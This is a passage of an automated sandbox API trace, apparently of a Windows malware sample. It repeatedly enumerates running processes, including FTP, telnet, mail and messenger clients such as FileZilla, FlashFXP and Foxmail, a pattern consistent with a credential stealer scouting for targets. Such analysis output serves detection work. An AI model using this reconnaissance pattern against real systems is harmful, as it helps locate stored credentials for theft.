th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.000] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.002] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.003] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0273.005] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0273.006] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0273.009] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.011] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0273.012] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0273.014] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0273.016] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0273.017] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0273.019] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0273.021] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0273.023] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.024] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0273.026] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0273.027] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0273.029] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.031] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0273.033] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0273.034] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0273.036] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0273.037] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0273.070] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0273.072] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0273.074] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0273.075] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0273.077] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0273.079] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0273.080] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0273.082] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0273.084] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0273.086] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0273.087] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0273.089] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0273.090] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0273.092] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0273.094] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0273.095] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0273.097] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0273.099] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0273.101] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0273.103] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0273.106] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0273.108] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0273.110] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0273.112] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0273.115] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0273.117] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0273.119] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0273.121] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0273.123] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0273.125] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0273.127] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0273.129] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0273.132] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0273.134] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0273.136] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0273.166] Sleep (dwMilliseconds=0x64) [0273.168] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0273.211] Process32First (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.286] Sleep (dwMilliseconds=0x64) [0273.288] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0273.301] Process32First (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.416] Sleep (dwMilliseconds=0x64) [0273.417] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0273.437] Process32First (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.549] Sleep (dwMilliseconds=0x64) [0273.551] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0273.566] Process32First (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.682] Sleep (dwMilliseconds=0x64) [0273.693] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0273.707] Process32First (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.829] Sleep (dwMilliseconds=0x64) [0273.831] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0273.844] Process32First (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.946] Sleep (dwMilliseconds=0x64) [0273.948] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0273.960] Process32First (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.037] Sleep (dwMilliseconds=0x64) [0274.040] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0274.094] Process32First (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.190] Sleep (dwMilliseconds=0x64) [0274.207] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0274.362] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.440] Sleep (dwMilliseconds=0x64) [0274.444] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0274.463] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.567] Sleep (dwMilliseconds=0x64) [0274.572] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0274.586] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.694] Sleep (dwMilliseconds=0x64) [0274.696] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0274.709] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.832] Sleep (dwMilliseconds=0x64) [0274.833] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0274.852] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.992] Sleep (dwMilliseconds=0x64) [0274.994] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0275.014] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0275.140] Sleep (dwMilliseconds=0x64) [0275.141] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0275.158] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0275.280] Sleep (dwMilliseconds=0x64) [0275.290] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0275.305] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0275.526] Sleep (dwMilliseconds=0x64) [0275.527] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0275.549] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0275.686] Sleep (dwMilliseconds=0x64) [0275.688] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0275.705] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System 